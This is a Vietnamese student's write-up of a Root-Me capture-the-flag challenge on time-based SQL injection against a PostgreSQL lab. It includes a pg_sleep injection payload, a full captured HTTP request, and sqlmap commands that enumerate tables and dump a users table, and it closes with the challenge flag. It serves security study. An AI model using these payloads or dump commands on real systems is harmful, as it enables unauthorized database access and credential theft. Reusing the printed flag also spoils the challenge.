

Lê Hoàng Phúc

MSSV: 20521763

Lớp: Bảo mật web và ứng dụng - NT213.N21.ANTN

Tên challenge : SQL injection - Time based

Link challenge : <https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Time-based>

Đầu tiên vào trang member chọn admin:

Sử dụng payload sau để truyền thì thấy thời gian response trả về khá lâu:

1;select+case+when+1=1+then+pg_sleep(5)+else+pg_sleep(0)+end—

;select case when 1=1 then pg_sleep(5) else pg_sleep(0) end -- -

Request

Pretty Raw Hex

1 GET /web-serveur/ch40/?action=member&member=1;select+case+when+1=1+then+pg_sleep(5)+else+pg_sleep(0)+end--

2 Host: challenge01.root-me.org

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.121 Safari/537.36

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

6 Referer: http://challenge01.root-me.org/web-serveur/ch40/?action=memberlist

7 Accept-Encoding: gzip, deflate

8 Accept-Language: en-US,en;q=0.9

9 Cookie: PHPSESSID=f93057793ba6519b904aa44157fc1cc7

10 Connection: close

11

12

Response

Pretty Raw Hex Render

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Thu, 20 Apr 2023 07:17:51 GMT

4 Content-Type: text/html; charset=UTF-8

5 Connection: close

6 Vary: Accept-Encoding

7 Expires: Thu, 19 Nov 1981 08:52:00 GMT

8 Cache-Control: no-store, no-cache, must-revalidate

9 Pragma: no-cache

10 Content-Length: 794

11

12

13 <html>

14 <head>

15 <title> SQL injection - Time-Based </title>

16 <link rel='stylesheet' property='stylesheet' id='css' type='text/css' href='style.css' media='all' />

17 </head>

18 <body>

<link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' />

<iframe id='iframe' src='https://www.root-me.org/?page=extreme_header'></iframe>

Inspector

Selection 62 (0x3e)

Selected text

Decoded from: URL encoding

1;select+case+when+1=1+then+pg_sleep(5)+else+pg_sleep(0)+end--

Cancel Apply changes

Request attributes 2

Request query parameters 2

Request body parameters 0

Request cookies 1

Request headers 9

Response headers 9

Done

0 matches

0 matches

1,078 bytes | 2,248 millis

⇒ Database sử dụng là postgresql

Em sẽ dùng sqlmap để giải bài này :

Lấy current database:

```
python.exe .\sqlmap.py -u "http://challenge01.root-me.org/web-serveur/ch40/?action=member&member=1" --time-sec=10 -dbs
```

```
[15:10:45] [WARNING] In case of continuous data retrieval problems you are advised to try a switch '--no-tost' or 'switch  
'--hex'  
[15:10:45] [INFO] retrieved:  
[15:10:46] [INFO] retrieved:  
[15:10:47] [INFO] falling back to current database  
[15:10:47] [INFO] fetching current database  
[15:10:47] [INFO] retrieved: public  
[15:11:36] [WARNING] on PostgreSQL you'll need to use schema names for enumeration as the counterpart to database names  
in other DBMSes  
available databases [1]:  
*1 public
```

Tìm các table trong database public:

```
python.exe .\sqlmap.py -u "http://challenge01.root-me.org/web-  
serveur/ch40/?action=member&member=1" --time-sec=10 -D public -tables
```

```
[15:14:01] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.....  
..... (done)  
users  
Database: public  
[1 table]  
+-----+  
| users |  
+-----+  
  
[15:14:47] [INFO] fetched data logged to text files under 'C:\Users\phl23\AppData\Local\sqlmap\output\challenge01.org'  
  
[*] ending @ 15:14:47 /2023-04-20/
```

Tìm các collmn trong bảng users :

```
python.exe .\sqlmap.py -u "http://challenge01.root-me.org/web-  
serveur/ch40/?action=member&member=1" --time-sec=10 -D public -T users --columns
```

```
Database: public  
Table: users  
[6 columns]  
+-----+-----+  
| Column | Type   |  
+-----+-----+  
| password | varchar |  
| email    | varchar |  
| firstname | varchar |  
| id       | int4   |  
| lastname | varchar |  
| username | varchar |  
+-----+-----+  
  
[15:16:03] [INFO] fetched data logged to text files under 'C:\Users\phl23\AppData\Local\sqlmap\output\challenge01.org'  
  
[*] ending @ 15:16:03 /2023-04-20/
```

Lấy ra thông tin các column:

Tìm được password :

```
sqlmap -u "http://challenge01.root-me.org/web-serveur/ch40/?action=member&member=1" --time-  
sec=10 -D public -T users -C id,email,username,password --dump
```

```
ou : yca
ou : [04:30:40] [ERROR] invalid character detected. retrying..
ou m@sqlitimebased.com
ou : [04:33:12] [INFO] retrieved: 1
ou [04:33:19] [INFO] retrieved: T!m3B@s3DSQL!
ou : [04:35:09] [INFO] retrieved:
ou [04:35:10] [WARNING] in case of continuous data retrieval problems
ou :
```

Lệnh trên em chạy trên kali linux , em không hiểu sao khi chạy sqlmap trên windows thì lại không ra được password.

```
Database: public
Table: users
[3 entries]
+----+-----+-----+-----+
| id | password | email           | username |
+----+-----+-----+-----+
| 1  | <blank>  | ycam@sqlitimebased.com | <blank>  |
| 2  | <blank>  | jsilver@sqlitimebased.com | <blank>  |
| 3  | <blank>  | jsparow@sqlitimebased.com | <blank>  |
+----+-----+-----+-----+
```

Flag : T!m3B@s3DSQL!

Time : 60p